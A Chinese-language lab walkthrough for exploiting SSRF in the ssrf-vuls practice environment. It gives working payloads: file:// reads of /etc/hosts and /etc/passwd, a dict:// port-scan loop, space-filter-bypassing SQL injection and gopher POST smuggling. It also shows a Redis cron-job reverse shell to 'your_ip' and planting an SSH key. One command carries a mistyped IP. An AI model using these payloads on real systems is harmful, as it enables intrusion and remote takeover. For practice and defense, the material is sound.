1. SSRF漏洞初探与靶场搭建
第一次接触SSRF漏洞时,我被它的威力震惊了。简单来说,SSRF(Server-Side Request Forgery)就是让服务器帮你发请求,就像你让快递员帮你取快递,结果他把你家保险柜也搬来了。在Kali环境下搭建靶场其实很简单,我用的是Docker-compose方式,这里分享下我的踩坑经验。
首先确保你的Kali已经安装Docker和Docker-compose。我习惯先更新源:
sudo apt update && sudo apt upgrade -y靶场镜像我用的是国光老师修改版的ssrf-vuls,实测下来最稳定。启动命令要注意端口映射:
docker run -d -p 9080:80 --name ssrf-lab sqlsec/ssrf-vuls这里有个细节:9080是外部访问端口,80是容器内部端口。我第一次就栽在这里,把内外端口搞反了导致服务起不来。启动后用浏览器访问http://your_kali_ip:9080,看到测试页面就说明成功了。
2. 漏洞验证与信息收集
2.1 判断SSRF存在
验证SSRF有个万能三板斧:
- 让服务器访问百度(
http://www.baidu.com) - 访问本地回环(
http://127.0.0.1) - 尝试非HTTP协议(比如
file:///etc/passwd)
在靶场里测试时,我发现用Burp Suite比浏览器更方便。抓个包改下URL参数,比如:
GET /?url=http://127.0.0.1 HTTP/1.1如果返回了本地服务的信息,基本可以确认漏洞存在。我遇到过有些WAF会拦截127.0.0.1,这时候可以用localhost或者0.0.0.0绕过。
2.2 内网探测技巧
拿到SSRF后,我通常先用file协议读这几个文件:
/etc/hosts(看内网IP段)/proc/net/arp(看同网段活跃主机)/etc/network/interfaces(看网卡配置)
比如这样构造请求:
file:///etc/hosts发现内网段是172.150.23.0/24后,就要开始端口扫描了。这里推荐用dict协议,比http更快:
dict://172.150.23.21:6379/info如果返回Redis版本信息,说明端口开放。我写了个简单的bash脚本批量扫描:
for ip in {1..254}; do for port in {80,6379,3306}; do curl -s "http://target/?url=dict://172.150.23.${ip}:${port}/info" done done3. 漏洞利用实战
3.1 代码注入突破
在172.150.23.22发现web服务后,我用dirsearch扫目录:
python3 dirsearch.py -u http://172.150.23.22 -e php找到shell.php后,传参要注意编码问题。比如执行cat /flag时:
http://172.150.23.22/shell.php?cmd=cat%20/flag空格必须编码成%20,在Burp里要变成%2520(双重编码)。我最初没注意这个细节,浪费了两小时排查问题。
3.2 SQL注入技巧
172.150.23.23的注入点比较明显,但有个坑:过滤了空格。我的绕过方案:
1'/**/and/**/1=2/**/union/**/select/**/version(),user(),3,database()--+用/**/代替空格,实测有效。报错注入时遇到更变态的过滤:
1'and(select extractvalue("anything",concat('~',(select user()))))--+这种XML报错注入在SSRF里特别有用,因为返回结果会直接显示在页面。
3.3 命令执行实战
172.150.23.24的命令执行需要POST请求,这时候必须用gopher协议。我总结的构造步骤:
- 先用Burp抓正常POST包
- 删除无关头(如Accept-Encoding)
- 修改Host为目标IP
- 对整个包进行URL编码
- 拼接到gopher://格式
具体格式:
gopher://172.150.23.24:80/_编码后的数据注意gopher会"吃掉"第一个字符,所以前面要加个下划线。我建议先在本地nc监听测试,确保payload正确。
4. Redis未授权终极攻击
4.1 漏洞验证
发现6379端口后,先用dict协议验证:
dict://172.150.23.27:6379/info如果返回Redis信息,说明存在未授权访问。我遇到过需要认证的情况,这时候可以尝试空密码或者弱密码爆破。
4.2 定时任务反弹shell
Redis写定时任务有几个关键点:
- 定时任务路径必须是
/var/spool/cron/ - 文件名要和用户名一致(如root)
- 任务内容要包含
\n保证格式正确
具体操作步骤:
dict://172.150.23.27:6379/flushall dict://172.150.23.27:6379/config set dir /var/spool/cron/ dict://172.23.23.27:6379/config set dbfilename root dict://172.150.23.27:6379/set x "\n* * * * * bash -i >& /dev/tcp/your_ip/2333 0>&1\n" dict://172.150.23.27:6379/save注意&要编码成%26,否则会被解析为后台运行。我在实战中遇到过cron不执行的情况,后来发现是权限问题,改用/etc/crontab路径就成功了。
4.3 应急技巧
如果目标不出网,可以尝试写ssh密钥:
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\nssh-rsa your_public_key\n\n" save这个方法的成功率取决于目录权限,我实测大概有60%的机器能用。